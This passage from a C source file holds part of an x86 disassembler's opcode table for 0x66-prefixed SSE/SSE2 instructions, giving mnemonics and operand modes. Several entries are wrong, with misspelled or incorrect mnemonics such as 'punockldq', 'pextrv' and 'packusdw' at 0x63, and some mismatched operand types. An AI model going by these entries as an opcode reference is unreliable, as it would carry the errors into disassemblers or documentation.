0xe\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf\n { INSTRUCTION_TYPE_SSE, \"movupd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x10\n { INSTRUCTION_TYPE_SSE, \"movupd\", AM_W|OT_pd, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x11\n { INSTRUCTION_TYPE_SSE, \"movlpd\", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 }, // 0x12\n { INSTRUCTION_TYPE_SSE, \"movlpd\", AM_M|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, // 0x13\n { INSTRUCTION_TYPE_SSE, \"unpcklpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x14\n { INSTRUCTION_TYPE_SSE, \"unpcklpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x15\n { INSTRUCTION_TYPE_SSE, \"movhpd\", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 }, // 0x16\n { INSTRUCTION_TYPE_SSE, \"movhpd\", AM_M|OT_q, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x17\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x18\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x19\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x20\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x21\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x22\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x23\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x24\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x25\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x26\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x27\n { INSTRUCTION_TYPE_SSE, \"movapd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x28\n { INSTRUCTION_TYPE_SSE, \"movapd\", AM_W|OT_pd, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x29\n { INSTRUCTION_TYPE_SSE, \"cvtpi2pd\", AM_V|OT_pd, AM_Q|OT_q, FLAGS_NONE, 1 }, // 0x2a\n { INSTRUCTION_TYPE_SSE, \"movntpd\", AM_M|OT_pd, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x2b\n { INSTRUCTION_TYPE_SSE, \"cvttpd2pi\",AM_P|OT_q, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x2c\n { INSTRUCTION_TYPE_SSE, \"cvtpd2pi\", AM_P|OT_q, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x2d\n { INSTRUCTION_TYPE_SSE, \"ucomisd\", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2e\n { INSTRUCTION_TYPE_SSE, \"comisd\", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x30\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x31\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x32\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x33\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x34\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x35\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x36\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x37\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x38\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x39\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x40\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x41\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x42\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x43\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x44\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x45\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x46\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x47\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x48\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x49\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4f\n { INSTRUCTION_TYPE_SSE, \"movmskpd\", AM_G|OT_d, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x50\n { INSTRUCTION_TYPE_SSE, \"sqrtpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x51\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x52\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x53\n { INSTRUCTION_TYPE_SSE, \"andpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x54\n { INSTRUCTION_TYPE_SSE, \"andnpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x55\n { INSTRUCTION_TYPE_SSE, \"orpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x56\n { INSTRUCTION_TYPE_SSE, \"xorpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x57\n { INSTRUCTION_TYPE_SSE, \"addpd\", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x58\n { INSTRUCTION_TYPE_SSE, \"mulpd\", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x59\n { INSTRUCTION_TYPE_SSE, \"cvtpd2ps\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5a\n { INSTRUCTION_TYPE_SSE, \"cvtps2dq\", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x5b\n { INSTRUCTION_TYPE_SSE, \"subpd\", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x5c\n { INSTRUCTION_TYPE_SSE, \"minpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5d\n { INSTRUCTION_TYPE_SSE, \"divpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5e\n { INSTRUCTION_TYPE_SSE, \"maxpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5f\n { INSTRUCTION_TYPE_SSE, \"punpcklbw\",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x60\n { INSTRUCTION_TYPE_SSE, \"punpcklwd\",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x61\n { INSTRUCTION_TYPE_SSE, \"punockldq\",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x62\n { INSTRUCTION_TYPE_SSE, \"packusdw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x63\n { INSTRUCTION_TYPE_SSE, \"pcmpgtb\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x64\n { INSTRUCTION_TYPE_SSE, \"pcmpgtw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x65\n { INSTRUCTION_TYPE_SSE, \"pcmpgtd\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x66\n { INSTRUCTION_TYPE_SSE, \"packsswb\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x67\n { INSTRUCTION_TYPE_SSE, \"punpckhbw\",AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x68\n { INSTRUCTION_TYPE_SSE, \"punpckhbd\",AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x69\n { INSTRUCTION_TYPE_SSE, \"punpckhdq\",AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x6a\n { INSTRUCTION_TYPE_SSE, \"packssdw\", AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x6b\n { INSTRUCTION_TYPE_SSE, \"punpcklqdq\",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x6c\n { INSTRUCTION_TYPE_SSE, \"punpckhqd\",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x6d\n { INSTRUCTION_TYPE_SSE, \"movd\", AM_V|OT_d, AM_E|OT_dq, FLAGS_NONE, 1 }, // 0x6e\n { INSTRUCTION_TYPE_SSE, \"movdqa\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x6f\n { INSTRUCTION_TYPE_SSE, \"pshufd\", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x70\n // groups 12-14\n { INSTRUCTION_TYPE_SSE, \"g12\", AM_P|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, // 0x71\n { INSTRUCTION_TYPE_SSE, \"g13\", AM_W|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, // 0x72\n { INSTRUCTION_TYPE_SSE, \"g14\", AM_W|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, // 0x73\n { INSTRUCTION_TYPE_SSE, \"pcmpeqb\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x74\n { INSTRUCTION_TYPE_SSE, \"pcmpeqw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x75\n { INSTRUCTION_TYPE_SSE, \"pcmpeqd\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x76\n { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x77\n { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x78\n { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x79\n { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7a\n { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7b\n { INSTRUCTION_TYPE_SSE, \"haddpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x7c\n { INSTRUCTION_TYPE_SSE, \"hsubpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x7d\n { INSTRUCTION_TYPE_SSE, \"movd\", AM_E|OT_d, AM_V|OT_d, FLAGS_NONE, 1 }, // 0x7e\n { INSTRUCTION_TYPE_SSE, \"movdqa\", AM_W|OT_dq, AM_V|OT_dq, FLAGS_NONE, 1 }, // 0x7f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x80\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x81\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x82\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x83\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x84\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x85\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x86\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x87\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x88\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x89\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x90\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x91\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x92\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x93\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x94\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x95\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x96\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x97\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x98\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x99\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaa\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xab\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xac\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xad\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xae\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaf\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xba\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbe\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbf\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc1\n { INSTRUCTION_TYPE_SSE, \"cmppd\", AM_V|OT_pd, AM_W|OT_pd, AM_I|OT_b, 1 }, // 0xc2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc3\n { INSTRUCTION_TYPE_SSE, \"pinsrw\", AM_V|OT_w, AM_E|OT_w, AM_I|OT_b, 1 }, // 0xc4\n { INSTRUCTION_TYPE_SSE, \"pextrv\", AM_G|OT_w, AM_V|OT_w, AM_I|OT_b, 1 }, // 0xc5\n { INSTRUCTION_TYPE_SSE, \"shufpd\", AM_V|OT_pd, AM_W|OT_pd, AM_I|OT_b, 1 }, // 0xc6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xca\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xce\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcf\n { INSTRUCTION_TYPE_SSE, \"addsubpd\", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0xd0\n { INSTRUCTION_TYPE_SSE, \"psrlw\", AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0xd1\n { INSTRUCTION_TYPE_SSE, \"psrld\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd2\n { INSTRUCTION_TYPE_SSE, \"psrlq\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd3\n { INSTRUCTION_TYPE_SSE, \"paddq\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd4\n { INSTRUCTION_TYPE_SSE, \"pmullw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd5\n { INSTRUCTION_TYPE_SSE, \"movq\", AM_W|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, // 0xd6\n { INSTRUCTION_TYPE_SSE, \"pmovmskb\", AM_G|OT_d, AM_V|OT_dq, FLAGS_NONE, 1 }, // 0xd7\n { INSTRUCTION_TYPE_SSE, \"psubusb\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd8\n { INSTRUCTION_TYPE_SSE, \"psubusw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd9\n { INSTRUCTION_TYPE_SSE, \"pminub\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xda\n { INSTRUCTION_TYPE_SSE, \"pand\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdb\n { INSTRUCTION_TYPE_SSE, \"paddusb\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdc\n { INSTRUCTION_TYPE_SSE, \"paddusw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdd\n { INSTRUCTION_TYPE_SSE, \"pmaxsw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xde\n { INSTRUCTION_TYPE_SSE, \"pandn\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdf\n { INSTRUCTION_TYPE_SSE, \"pavgb\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe0\n { INSTRUCTION_TYPE_SSE, \"psraw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe1\n { INSTRUCTION_TYPE_SSE, \"psrad\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe2\n { INSTRUCTION_TYPE_SSE, \"pavgw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe3\n { INSTRUCTION_TYPE_SSE, \"pmulhuw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe4\n { INSTRUCTION_TYPE_SSE, \"pmulhw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe5\n { INSTRUCTION_TYPE_SSE, \"cvttpd2dq\",AM_V|OT_dq, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0xe6\n { INSTRUCTION_TYPE_SSE, \"movntq\", AM_M|OT_dq, AM_V|OT_dq, FLAGS_NONE, 1 }, // 0xe7\n { INSTRUCTION_TYPE_SSE, \"psubsb\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe8\n { INSTRUCTION_TYPE_SSE, \"psubsw\", 